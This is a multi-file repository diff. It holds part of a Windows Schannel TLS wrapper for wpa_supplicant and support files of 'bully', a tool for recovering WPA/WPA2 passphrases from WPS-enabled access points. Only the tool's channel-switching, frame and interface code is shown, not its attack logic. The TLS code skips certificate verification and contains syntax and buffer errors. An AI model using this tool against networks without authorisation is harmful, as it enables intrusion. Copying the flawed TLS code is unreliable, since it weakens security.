#endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */
|
||||
|
||||
static int tls_get_eap(struct tls_global *global, struct tls_connection *conn)
|
||||
{
|
||||
SECURITY_STATUS status;
|
||||
SecPkgContext_EapKeyBlock kb;
|
||||
|
||||
/* Note: Windows NT and Windows Me/98/95 do not support getting
|
||||
* EapKeyBlock */
|
||||
|
||||
status = global->sspi->QueryContextAttributes(
|
||||
&conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb);
|
||||
if (status != SEC_E_OK) {
|
||||
wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes("
|
||||
"SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)",
|
||||
__func__, (int) status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys",
|
||||
kb.rgbKeys, sizeof(kb.rgbKeys));
|
||||
wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs",
|
||||
kb.rgbIVs, sizeof(kb.rgbIVs));
|
||||
|
||||
os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys));
|
||||
conn->eap_tls_prf_set = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
struct tls_global *global = tls_ctx;
|
||||
DWORD sspi_flags, sspi_flags_out;
|
||||
SecBufferDesc inbuf, outbuf;
|
||||
SecBuffer inbufs[2], outbufs[1];
|
||||
SECURITY_STATUS status;
|
||||
TimeStamp ts_expiry;
|
||||
struct wpabuf *out_buf = NULL;
|
||||
|
||||
if (appl_data)
|
||||
*appl_data = NULL;
|
||||
|
||||
if (conn->start)
|
||||
return tls_conn_hs_clienthello(global, conn);
|
||||
|
||||
wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process",
|
||||
(int) wpabuf_len(in_data));
|
||||
|
||||
sspi_flags = ISC_REQ_REPLAY_DETECT |
|
||||
ISC_REQ_CONFIDENTIALITY |
|
||||
ISC_RET_EXTENDED_ERROR |
|
||||
ISC_REQ_ALLOCATE_MEMORY |
|
||||
ISC_REQ_MANUAL_CRED_VALIDATION;
|
||||
|
||||
/* Input buffer for Schannel */
|
||||
inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data);
|
||||
inbufs[0].cbBuffer = wpabuf_len(in_data);
|
||||
inbufs[0].BufferType = SECBUFFER_TOKEN;
|
||||
|
||||
/* Place for leftover data from Schannel */
|
||||
inbufs[1].pvBuffer = NULL;
|
||||
inbufs[1].cbBuffer = 0;
|
||||
inbufs[1].BufferType = SECBUFFER_EMPTY;
|
||||
|
||||
inbuf.cBuffers = 2;
|
||||
inbuf.pBuffers = inbufs;
|
||||
inbuf.ulVersion = SECBUFFER_VERSION;
|
||||
|
||||
/* Output buffer for Schannel */
|
||||
outbufs[0].pvBuffer = NULL;
|
||||
outbufs[0].cbBuffer = 0;
|
||||
outbufs[0].BufferType = SECBUFFER_TOKEN;
|
||||
|
||||
outbuf.cBuffers = 1;
|
||||
outbuf.pBuffers = outbufs;
|
||||
outbuf.ulVersion = SECBUFFER_VERSION;
|
||||
|
||||
#ifdef UNICODE
|
||||
status = global->sspi->InitializeSecurityContextW(
|
||||
&conn->creds, &conn->context, NULL, sspi_flags, 0,
|
||||
SECURITY_NATIVE_DREP, &inbuf, 0, NULL,
|
||||
&outbuf, &sspi_flags_out, &ts_expiry);
|
||||
#else /* UNICODE */
|
||||
status = global->sspi->InitializeSecurityContextA(
|
||||
&conn->creds, &conn->context, NULL, sspi_flags, 0,
|
||||
SECURITY_NATIVE_DREP, &inbuf, 0, NULL,
|
||||
&outbuf, &sspi_flags_out, &ts_expiry);
|
||||
#endif /* UNICODE */
|
||||
|
||||
wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> "
|
||||
"status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d "
|
||||
"intype[1]=%d outlen[0]=%d",
|
||||
(int) status, (int) inbufs[0].cbBuffer,
|
||||
(int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer,
|
||||
(int) inbufs[1].BufferType,
|
||||
(int) outbufs[0].cbBuffer);
|
||||
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED ||
|
||||
(FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) {
|
||||
if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) {
|
||||
wpa_hexdump(MSG_MSGDUMP, "SChannel - output",
|
||||
outbufs[0].pvBuffer, outbufs[0].cbBuffer);
|
||||
out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer,
|
||||
outbufs[0].cbBuffer);
|
||||
global->sspi->FreeContextBuffer(outbufs[0].pvBuffer);
|
||||
outbufs[0].pvBuffer = NULL;
|
||||
if (out_buf == NULL)
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
switch (status) {
|
||||
case SEC_E_INCOMPLETE_MESSAGE:
|
||||
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE");
|
||||
break;
|
||||
case SEC_I_CONTINUE_NEEDED:
|
||||
wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED");
|
||||
break;
|
||||
case SEC_E_OK:
|
||||
/* TODO: verify server certificate chain */
|
||||
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake "
|
||||
"completed successfully");
|
||||
conn->established = 1;
|
||||
tls_get_eap(global, conn);
|
||||
|
||||
/* Need to return something to get final TLS ACK. */
|
||||
if (out_buf == NULL)
|
||||
out_buf = wpabuf_alloc(0);
|
||||
|
||||
if (inbufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||
wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted "
|
||||
"application data",
|
||||
inbufs[1].pvBuffer, inbufs[1].cbBuffer);
|
||||
if (appl_data) {
|
||||
*appl_data = wpabuf_alloc_copy(
|
||||
outbufs[1].pvBuffer,
|
||||
outbufs[1].cbBuffer);
|
||||
}
|
||||
global->sspi->FreeContextBuffer(inbufs[1].pvBuffer);
|
||||
inbufs[1].pvBuffer = NULL;
|
||||
}
|
||||
break;
|
||||
case SEC_I_INCOMPLETE_CREDENTIALS:
|
||||
wpa_printf(MSG_DEBUG,
|
||||
"Schannel: SEC_I_INCOMPLETE_CREDENTIALS");
|
||||
break;
|
||||
case SEC_E_WRONG_PRINCIPAL:
|
||||
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL");
|
||||
break;
|
||||
case SEC_E_INTERNAL_ERROR:
|
||||
wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR");
|
||||
break;
|
||||
}
|
||||
|
||||
if (FAILED(status)) {
|
||||
wpa_printf(MSG_DEBUG, "Schannel: Handshake failed "
|
||||
"(out_buf=%p)", out_buf);
|
||||
conn->failed++;
|
||||
global->sspi->DeleteSecurityContext(&conn->context);
|
||||
return out_buf;
|
||||
}
|
||||
|
||||
if (inbufs[1].BufferType == SECBUFFER_EXTRA) {
|
||||
/* TODO: Can this happen? What to do with this data? */
|
||||
wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data",
|
||||
inbufs[1].pvBuffer, inbufs[1].cbBuffer);
|
||||
global->sspi->FreeContextBuffer(inbufs[1].pvBuffer);
|
||||
inbufs[1].pvBuffer = NULL;
|
||||
}
|
||||
|
||||
return out_buf;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
struct tls_global *global = tls_ctx;
|
||||
SECURITY_STATUS status;
|
||||
SecBufferDesc buf;
|
||||
SecBuffer bufs[4];
|
||||
SecPkgContext_StreamSizes sizes;
|
||||
int i;
|
||||
struct wpabuf *out;
|
||||
|
||||
status = global->sspi->QueryContextAttributes(&conn->context,
|
||||
SECPKG_ATTR_STREAM_SIZES,
|
||||
&sizes);
|
||||
if (status != SEC_E_OK) {
|
||||
wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed",
|
||||
__func__);
|
||||
return NULL;
|
||||
}
|
||||
wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u",
|
||||
__func__,
|
||||
(unsigned int) sizes.cbHeader,
|
||||
(unsigned int) sizes.cbTrailer);
|
||||
|
||||
out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) +
|
||||
sizes.cbTrailer);
|
||||
|
||||
os_memset(&bufs, 0, sizeof(bufs));
|
||||
bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader);
|
||||
bufs[0].cbBuffer = sizes.cbHeader;
|
||||
bufs[0].BufferType = SECBUFFER_STREAM_HEADER;
|
||||
|
||||
bufs[1].pvBuffer = wpabuf_put(out, 0);
|
||||
wpabuf_put_buf(out, in_data);
|
||||
bufs[1].cbBuffer = wpabuf_len(in_data);
|
||||
bufs[1].BufferType = SECBUFFER_DATA;
|
||||
|
||||
bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer);
|
||||
bufs[2].cbBuffer = sizes.cbTrailer;
|
||||
bufs[2].BufferType = SECBUFFER_STREAM_TRAILER;
|
||||
|
||||
buf.ulVersion = SECBUFFER_VERSION;
|
||||
buf.cBuffers = 3;
|
||||
buf.pBuffers = bufs;
|
||||
|
||||
status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0);
|
||||
|
||||
wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> "
|
||||
"status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d "
|
||||
"len[2]=%d type[2]=%d",
|
||||
(int) status,
|
||||
(int) bufs[0].cbBuffer, (int) bufs[0].BufferType,
|
||||
(int) bufs[1].cbBuffer, (int) bufs[1].BufferType,
|
||||
(int) bufs[2].cbBuffer, (int) bufs[2].BufferType);
|
||||
wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: "
|
||||
"out_data=%p bufs %p %p %p",
|
||||
wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer,
|
||||
bufs[2].pvBuffer);
|
||||
|
||||
for (i = 0; i < 3; i++) {
|
||||
if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY)
|
||||
{
|
||||
wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs",
|
||||
bufs[i].pvBuffer, bufs[i].cbBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
if (status == SEC_E_OK) {
|
||||
wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__);
|
||||
wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data "
|
||||
"from EncryptMessage", out);
|
||||
return out;
|
||||
}
|
||||
|
||||
wpa_printf(MSG_DEBUG, "%s: Failed - status=%d",
|
||||
__func__, (int) status);
|
||||
wpabuf_free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data)
|
||||
{
|
||||
struct tls_global *global = tls_ctx;
|
||||
SECURITY_STATUS status;
|
||||
SecBufferDesc buf;
|
||||
SecBuffer bufs[4];
|
||||
int i;
|
||||
struct wpabuf *out, *tmp;
|
||||
|
||||
wpa_hexdump_buf(MSG_MSGDUMP,
|
||||
"Schannel: Encrypted data to DecryptMessage", in_data);
|
||||
os_memset(&bufs, 0, sizeof(bufs));
|
||||
tmp = wpabuf_dup(in_data);
|
||||
if (tmp == NULL)
|
||||
return NULL;
|
||||
bufs[0].pvBuffer = wpabuf_mhead(tmp);
|
||||
bufs[0].cbBuffer = wpabuf_len(in_data);
|
||||
bufs[0].BufferType = SECBUFFER_DATA;
|
||||
|
||||
bufs[1].BufferType = SECBUFFER_EMPTY;
|
||||
bufs[2].BufferType = SECBUFFER_EMPTY;
|
||||
bufs[3].BufferType = SECBUFFER_EMPTY;
|
||||
|
||||
buf.ulVersion = SECBUFFER_VERSION;
|
||||
buf.cBuffers = 4;
|
||||
buf.pBuffers = bufs;
|
||||
|
||||
status = global->sspi->DecryptMessage(&conn->context, &buf, 0,
|
||||
NULL);
|
||||
wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> "
|
||||
"status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d "
|
||||
"len[2]=%d type[2]=%d len[3]=%d type[3]=%d",
|
||||
(int) status,
|
||||
(int) bufs[0].cbBuffer, (int) bufs[0].BufferType,
|
||||
(int) bufs[1].cbBuffer, (int) bufs[1].BufferType,
|
||||
(int) bufs[2].cbBuffer, (int) bufs[2].BufferType,
|
||||
(int) bufs[3].cbBuffer, (int) bufs[3].BufferType);
|
||||
wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: "
|
||||
"out_data=%p bufs %p %p %p %p",
|
||||
wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer,
|
||||
bufs[2].pvBuffer, bufs[3].pvBuffer);
|
||||
|
||||
switch (status) {
|
||||
case SEC_E_INCOMPLETE_MESSAGE:
|
||||
wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE",
|
||||
__func__);
|
||||
break;
|
||||
case SEC_E_OK:
|
||||
wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__);
|
||||
for (i = 0; i < 4; i++) {
|
||||
if (bufs[i].BufferType == SECBUFFER_DATA)
|
||||
break;
|
||||
}
|
||||
if (i == 4) {
|
||||
wpa_printf(MSG_DEBUG, "%s: No output data from "
|
||||
"DecryptMessage", __func__);
|
||||
wpabuf_free(tmp);
|
||||
return NULL;
|
||||
}
|
||||
wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from "
|
||||
"DecryptMessage",
|
||||
bufs[i].pvBuffer, bufs[i].cbBuffer);
|
||||
out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer);
|
||||
wpabuf_free(tmp);
|
||||
return out;
|
||||
}
|
||||
|
||||
wpa_printf(MSG_DEBUG, "%s: Failed - status=%d",
|
||||
__func__, (int) status);
|
||||
wpabuf_free(tmp);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn,
|
||||
u8 *ciphers)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_enable_workaround(void *ssl_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn,
|
||||
int ext_type, const u8 *data,
|
||||
size_t data_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
return conn->failed;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
return conn->read_alerts;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn)
|
||||
{
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
return conn->write_alerts;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
|
||||
const struct tls_connection_params *params)
|
||||
{
|
||||
struct tls_global *global = tls_ctx;
|
||||
ALG_ID algs[1];
|
||||
SECURITY_STATUS status;
|
||||
TimeStamp ts_expiry;
|
||||
|
||||
if (conn == NULL)
|
||||
return -1;
|
||||
|
||||
if (global->my_cert_store == NULL &&
|
||||
(global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) ==
|
||||
NULL) {
|
||||
wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x",
|
||||
__func__, (unsigned int) GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred));
|
||||
conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||
conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1;
|
||||
algs[0] = CALG_RSA_KEYX;
|
||||
conn->schannel_cred.cSupportedAlgs = 1;
|
||||
conn->schannel_cred.palgSupportedAlgs = algs;
|
||||
conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS;
|
||||
#ifdef UNICODE
|
||||
status = global->sspi->AcquireCredentialsHandleW(
|
||||
NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL,
|
||||
&conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry);
|
||||
#else /* UNICODE */
|
||||
status = global->sspi->AcquireCredentialsHandleA(
|
||||
NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL,
|
||||
&conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry);
|
||||
#endif /* UNICODE */
|
||||
if (status != SEC_E_OK) {
|
||||
wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - "
|
||||
"0x%x", __func__, (unsigned int) status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
unsigned int tls_capabilities(void *tls_ctx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn,
|
||||
int tls_ia)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
struct wpabuf * tls_connection_ia_send_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn, int final);
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_final_phase_finished(void *tls_ctx,
|
||||
struct tls_connection *conn)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int tls_connection_ia_permute_inner_secret(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const u8 *key, size_t key_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,49 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include "80211.h"
|
||||
#include "frame.h"
|
||||
|
||||
|
||||
static inline void f_set(frame_t *fp, int id, int next, uint8 *data, int size, int list)
|
||||
{
|
||||
fp[id].next = (next ? &fp[next] : NULL);
|
||||
fp[id].data = data;
|
||||
fp[id].size = size;
|
||||
fp[id].list = (list ? &fp[list] : NULL);
|
||||
};
|
||||
|
||||
|
||||
frame_t *f_init()
|
||||
{
|
||||
frame_t *fp = calloc(F_SIZE, F_MAX);
|
||||
if (fp) {
|
||||
f_set(fp, F_ALL, 0, NULL, 0, F_TAP);
|
||||
f_set(fp, F_TAP, F_MAC, NULL, 0, 0);
|
||||
f_set(fp, F_MAC, F_PAY, NULL, 0, 0);
|
||||
f_set(fp, F_PAY, F_FCS, NULL, 0, F_LLC);
|
||||
f_set(fp, F_FCS, 0, NULL, 0, 0);
|
||||
f_set(fp, F_LLC, F_D1X, NULL, 0, 0);
|
||||
f_set(fp, F_D1X, F_EAP, NULL, 0, 0);
|
||||
f_set(fp, F_EAP, F_WFA, NULL, 0, 0);
|
||||
f_set(fp, F_WFA, F_MSG, NULL, 0, 0);
|
||||
f_set(fp, F_MSG, F_IDK, NULL, 0, 0);
|
||||
f_set(fp, F_IDK, 0, NULL, 0, 0);
|
||||
};
|
||||
return fp;
|
||||
};
|
|
@ -0,0 +1,46 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _FRAME_H
|
||||
#define _FRAME_H
|
||||
|
||||
struct frame {
|
||||
struct frame *next;
|
||||
uint8 *data;
|
||||
int size;
|
||||
struct frame *list;
|
||||
};
|
||||
typedef struct frame frame_t;
|
||||
#define F_SIZE (sizeof(frame_t))
|
||||
|
||||
#define F_ALL 0
|
||||
#define F_TAP 1
|
||||
#define F_MAC 2
|
||||
#define F_PAY 3
|
||||
#define F_FCS 4
|
||||
#define F_LLC 5
|
||||
#define F_D1X 6
|
||||
#define F_EAP 7
|
||||
#define F_WFA 8
|
||||
#define F_MSG 9
|
||||
#define F_IDK 10
|
||||
#define F_MAX 11
|
||||
|
||||
static inline void f_set(frame_t * fp, int id, int next, uint8 * data, int size, int list);
|
||||
|
||||
#endif /* _FRAME_H */
|
|
@ -0,0 +1,107 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include "iface.h"
|
||||
|
||||
|
||||
int set_chan(struct global *G, int chan)
|
||||
{
|
||||
if (!G->index[chan]) {
|
||||
vprint("[X] AP channel '%d' not found in the current channel list\n", chan);
|
||||
exit(5);
|
||||
};
|
||||
return set_chanx(G, G->index[chan]);
|
||||
};
|
||||
|
||||
|
||||
int set_chanx(struct global *G, int chanx)
|
||||
{
|
||||
int sock = 0, freq, result, channel = 0;
|
||||
struct iwreq wrq;
|
||||
memset(&wrq, 0, sizeof(struct iwreq));
|
||||
strncpy(wrq.ifr_name, G->ifname, IFNAMSIZ);
|
||||
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
|
||||
vprint("[!] Socket open for ioctl() on '%s' failed with '%d'\n", G->ifname, sock);
|
||||
return 0;
|
||||
};
|
||||
if (chanx) {
|
||||
channel = G->chans[chanx];
|
||||
wrq.u.freq.m = (double)channel;
|
||||
wrq.u.freq.e = (double)0;
|
||||
wrq.u.freq.flags = IW_FREQ_FIXED;
|
||||
vprint("[+] Switching interface '%s' to channel '%d'\n", G->ifname, channel);
|
||||
if (ioctl(sock, SIOCSIWFREQ, &wrq) < 0) {
|
||||
usleep(10000);
|
||||
if ((result = ioctl(sock, SIOCSIWFREQ, &wrq)) < 0) {
|
||||
vprint("[!] ioctl(SIOCSIWFREQ) on '%s' failed with '%d'\n", G->ifname, result);
|
||||
vprint("[X] Unable to set channel on '%s', exiting\n", G->ifname);
|
||||
exit(8);
|
||||
};
|
||||
};
|
||||
}
|
||||
else {
|
||||
if (ioctl(sock, SIOCGIWFREQ, &wrq) < 0) {
|
||||
vprint("[!] ioctl(SIOCGIWFREQ) on '%s' failed with '%d'\n", G->ifname, result);
|
||||
}
|
||||
else {
|
||||
freq = wrq.u.freq.m;
|
||||
if (freq < 100000000)
|
||||
freq *= 100000000;
|
||||
for (chanx = 1; chanx <= G->chans[0]; chanx++)
|
||||
if (freq == G->freqs[chanx]) {
|
||||
channel = G->chans[chanx];
|
||||
goto set_exit;
|
||||
};
|
||||
vprint("[X] Unknown frequency '%d' reported by interface '%s'\n", freq, G->ifname);
|
||||
};
|
||||
chanx = channel = 0;
|
||||
};
|
||||
|
||||
set_exit:
|
||||
close(sock);
|
||||
if (channel)
|
||||
snprintf(G->schan, 8, "%d", channel);
|
||||
else
|
||||
memcpy(G->schan, "unknown", 8);
|
||||
return chanx;
|
||||
};
|
||||
|
||||
|
||||
int next_chan(struct global *G)
|
||||
{
|
||||
int next = G->chanx + 1;
|
||||
if (G->chans[0] < next)
|
||||
next = 1;
|
||||
return set_chanx(G, next);
|
||||
};
|
||||
|
||||
|
||||
int get_hwmac(char *ifname, uint8 *mac)
|
||||
{
|
||||
int sock = 0, result;
|
||||
struct ifreq irq;
|
||||
memset(&irq, 0, sizeof(struct iwreq));
|
||||
strncpy(irq.ifr_name, ifname, IFNAMSIZ);
|
||||
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
|
||||
return sock;
|
||||
if ((result = ioctl(sock, SIOCGIFHWADDR, &irq)) < 0)
|
||||
return result;
|
||||
memcpy(mac, irq.ifr_hwaddr.sa_data, 6);
|
||||
close(sock);
|
||||
return 0;
|
||||
};
|
|
@ -0,0 +1,82 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _IFACE_H
|
||||
#define _IFACE_H
|
||||
|
||||
#include "bully.h"
|
||||
|
||||
char BG_CHANS[] = "1,5,9,13,2,6,10,3,7,11,4,8,12";
|
||||
char AN_CHANS[] = "36,40,44,48,52,56,58,60";
|
||||
|
||||
struct cfreq {
|
||||
int chan;
|
||||
int freq;
|
||||
} freqs[] = {
|
||||
{ 1, 241200000 },
|
||||
{ 2, 241700000 },
|
||||
{ 3, 242200000 },
|
||||
{ 4, 242700000 },
|
||||
{ 5, 243200000 },
|
||||
{ 6, 243700000 },
|
||||
{ 7, 244200000 },
|
||||
{ 8, 244700000 },
|
||||
{ 9, 245200000 },
|
||||
{ 10, 245700000 },
|
||||
{ 11, 246200000 },
|
||||
{ 12, 246700000 },
|
||||
{ 13, 247200000 },
|
||||
{ 14, 248400000 },
|
||||
{ 34, 517000000 },
|
||||
{ 36, 518000000 },
|
||||
{ 38, 519000000 },
|
||||
{ 40, 520000000 },
|
||||
{ 42, 521000000 },
|
||||
{ 44, 522000000 },
|
||||
{ 46, 523000000 },
|
||||
{ 48, 524000000 },
|
||||
{ 52, 526000000 },
|
||||
{ 56, 528000000 },
|
||||
{ 58, 530000000 },
|
||||
{ 60, 532000000 },
|
||||
{ 100, 550000000 },
|
||||
{ 104, 552000000 },
|
||||
{ 108, 554000000 },
|
||||
{ 112, 556000000 },
|
||||
{ 116, 558000000 },
|
||||
{ 120, 560000000 },
|
||||
{ 124, 562000000 },
|
||||
{ 128, 564000000 },
|
||||
{ 132, 566000000 },
|
||||
{ 136, 568000000 },
|
||||
{ 140, 570000000 },
|
||||
{ 149, 574500000 },
|
||||
{ 153, 576500000 },
|
||||
{ 157, 578500000 },
|
||||
{ 161, 580500000 },
|
||||
{ 165, 582500000 }
|
||||
#define MAX_CHAN 165
|
||||
};
|
||||
|
||||
#define NUM_CHAN (sizeof(freqs)/sizeof(struct cfreq))
|
||||
|
||||
int set_chan(struct global *G, int chan);
|
||||
int set_chanx(struct global *G, int chanx);
|
||||
int next_chan(struct global *G);
|
||||
|
||||
#endif /* _IFACE_H */
|
|
@ -0,0 +1,74 @@
|
|||
--[[
|
||||
Pure implementations in Lua 5.2 (without using the 'algorithm' library)
|
||||
]]--
|
||||
|
||||
